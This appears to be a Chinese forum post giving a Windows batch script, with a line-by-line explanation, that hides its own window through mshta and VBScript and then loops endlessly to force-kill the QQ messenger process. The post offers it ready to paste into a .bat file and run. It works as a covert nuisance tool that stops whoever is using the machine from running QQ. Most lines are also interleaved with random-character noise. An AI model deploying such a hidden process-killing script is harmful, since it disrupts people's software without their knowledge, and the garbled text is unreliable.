|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
0 c) l! ]' F, q/ a7 N; d2 H# m新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
$ o6 ]2 f6 S5 k
" s* y, z( K+ i. I: E@echo off / x0 E _' f7 }9 ~
if "%1" == "h" goto begin ' c- I* x4 c7 x5 H3 _# K
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit ( p U; W& A: h, h8 e- P
:begin - Q6 n, R) {; P
tasklist |find /i "QQ.exe" 0 b. |* ]4 a. y9 D5 x3 r1 ]
if %errorlevel%==0 (goto killit) else (goto next) " \5 K; K( M9 d( Y* l4 y; f& E
:killit : \, k0 s+ p/ e: X
taskkill /f /im QQ.exe
B8 x" _7 `6 Y* ~) z/ K:next
+ J4 ~* l W( Z) V( Tping -n 3 127.t >nul 2>nul
) N% d' W3 E: ygoto begin
6 [+ c! ~- F$ Q. v8 S) c5 N3 s0 L3 s, O2 Y6 y
代码到此为止
* c, U3 Q& _6 Y! M: R: n$ m$ q讲解如下:
: Y9 H5 u% D6 V: Z! F3 y@echo off ------关闭回显 " D+ W/ V) O# Q$ X" j1 e
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 ' y6 B$ [2 L+ ^: e K
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
9 P, D0 N, ~* `) a8 G:begin ------------定一段名begin 9 W# J+ X' L' q$ E( E g1 |
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe ) A, r; K( b5 F4 [/ k* B( u) s; t6 K
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
) e) _; J8 p, v+ E' l/ T:killit $ f) Y+ |: T' r$ H$ l
taskkill /f /im QQ.exe----终结进程QQ.exe ( n+ H$ L7 T! E( z: q
:next
" P" ^) |" } n' Xping -n 3 127.t >nul 2>nul -----延迟一段时间 ' N7 G$ C2 ^9 d1 g
goto begin--------------返回执行begin; [- r/ V% I' L8 V
|
|